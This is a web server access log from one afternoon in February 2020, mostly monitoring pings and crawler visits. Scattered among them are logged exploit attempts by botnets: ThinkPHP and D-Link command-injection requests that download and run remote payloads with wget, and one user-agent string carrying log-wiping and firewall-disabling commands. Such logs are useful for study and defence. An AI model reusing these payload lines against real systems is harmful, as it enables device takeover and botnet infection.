212.91.246.72 - - [20/Feb/2020:15:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.115.251.163 - - [20/Feb/2020:15:26:28 +0100] "GET / HTTP/1.1" 200 1229 "https://naobumium.info/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
37.115.251.163 - - [20/Feb/2020:15:26:28 +0100] "GET / HTTP/1.1" 200 1229 "https://naobumium.info/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
37.115.251.163 - - [20/Feb/2020:15:26:29 +0100] "GET / HTTP/1.1" 200 1229 "https://naobumium.info/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
212.91.246.72 - - [20/Feb/2020:15:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.4.83.150 - - [20/Feb/2020:15:29:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 1084) AppleWebKit/536.29.13 (KHTML like Gecko) Version/6.0.4 Safari/536.29.13"
212.91.246.72 - - [20/Feb/2020:15:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.10.247.48 - - [20/Feb/2020:15:31:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
80.55.138.66 - - [20/Feb/2020:15:31:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:15:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.14.145.71 - - [20/Feb/2020:15:33:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:15:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.142.173.94 - - [20/Feb/2020:15:36:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
27.216.245.215 - - [20/Feb/2020:15:36:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [20/Feb/2020:15:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.142.173.94 - - [20/Feb/2020:15:37:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
117.241.97.252 - - [20/Feb/2020:15:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
185.142.173.94 - - [20/Feb/2020:15:38:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [20/Feb/2020:15:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.142.173.94 - - [20/Feb/2020:15:39:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [20/Feb/2020:15:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.142.173.94 - - [20/Feb/2020:15:42:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [20/Feb/2020:15:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.142.173.94 - - [20/Feb/2020:15:43:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
152.136.157.215 - - [20/Feb/2020:15:43:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.142.173.94 - - [20/Feb/2020:15:43:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [20/Feb/2020:15:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.142.173.94 - - [20/Feb/2020:15:45:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [20/Feb/2020:15:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.142.173.94 - - [20/Feb/2020:15:45:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
151.67.59.115 - - [20/Feb/2020:15:46:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:15:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.142.173.94 - - [20/Feb/2020:15:48:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [20/Feb/2020:15:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [20/Feb/2020:15:48:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [20/Feb/2020:15:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
75.183.124.215 - - [20/Feb/2020:15:50:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:15:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [20/Feb/2020:15:55:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:15:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [20/Feb/2020:15:55:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [20/Feb/2020:15:55:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [20/Feb/2020:15:55:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [20/Feb/2020:15:56:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:15:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:15:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.182.136.2 - - [20/Feb/2020:16:01:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:16:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [20/Feb/2020:16:04:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:16:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [20/Feb/2020:16:04:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [20/Feb/2020:16:04:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [20/Feb/2020:16:04:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [20/Feb/2020:16:05:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:16:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.92.153.250 - - [20/Feb/2020:16:08:16 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [20/Feb/2020:16:08:19 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [20/Feb/2020:16:08:25 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [20/Feb/2020:16:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.92.153.250 - - [20/Feb/2020:16:08:37 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
220.92.153.250 - - [20/Feb/2020:16:09:01 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [20/Feb/2020:16:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [20/Feb/2020:16:13:39 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
123.14.145.71 - - [20/Feb/2020:16:14:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.201.82.168 - - [20/Feb/2020:16:14:17 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
218.201.82.168 - - [20/Feb/2020:16:14:20 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
218.201.82.168 - - [20/Feb/2020:16:14:20 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
218.201.82.168 - - [20/Feb/2020:16:14:23 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
218.201.82.168 - - [20/Feb/2020:16:14:23 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
218.201.82.168 - - [20/Feb/2020:16:14:24 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
218.201.82.168 - - [20/Feb/2020:16:14:25 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
218.201.82.168 - - [20/Feb/2020:16:14:25 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
218.201.82.168 - - [20/Feb/2020:16:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [20/Feb/2020:16:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [20/Feb/2020:16:15:01 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
92.112.48.111 - - [20/Feb/2020:16:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:16:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [20/Feb/2020:16:19:04 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [20/Feb/2020:16:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.200.70.240 - - [20/Feb/2020:16:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:16:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [20/Feb/2020:16:22:29 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [20/Feb/2020:16:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [20/Feb/2020:16:27:58 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:16:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.43.106.195 - - [20/Feb/2020:16:29:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [20/Feb/2020:16:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.60 - - [20/Feb/2020:16:32:09 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [20/Feb/2020:16:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [20/Feb/2020:16:34:27 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [20/Feb/2020:16:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [20/Feb/2020:16:36:49 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [20/Feb/2020:16:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.156.247 - - [20/Feb/2020:16:38:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
177.189.74.245 - - [20/Feb/2020:16:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:16:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [20/Feb/2020:16:39:27 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [20/Feb/2020:16:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.144.24.37 - - [20/Feb/2020:16:39:32 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01682558 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/537.36(KHTML, like Gecko) Chrome/40.0.2214.89 Safari/537.36"
85.25.185.103 - - [20/Feb/2020:16:40:06 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.185.103 - - [20/Feb/2020:16:40:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.91.246.72 - - [20/Feb/2020:16:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:16:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.185.103 - - [20/Feb/2020:16:43:05 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
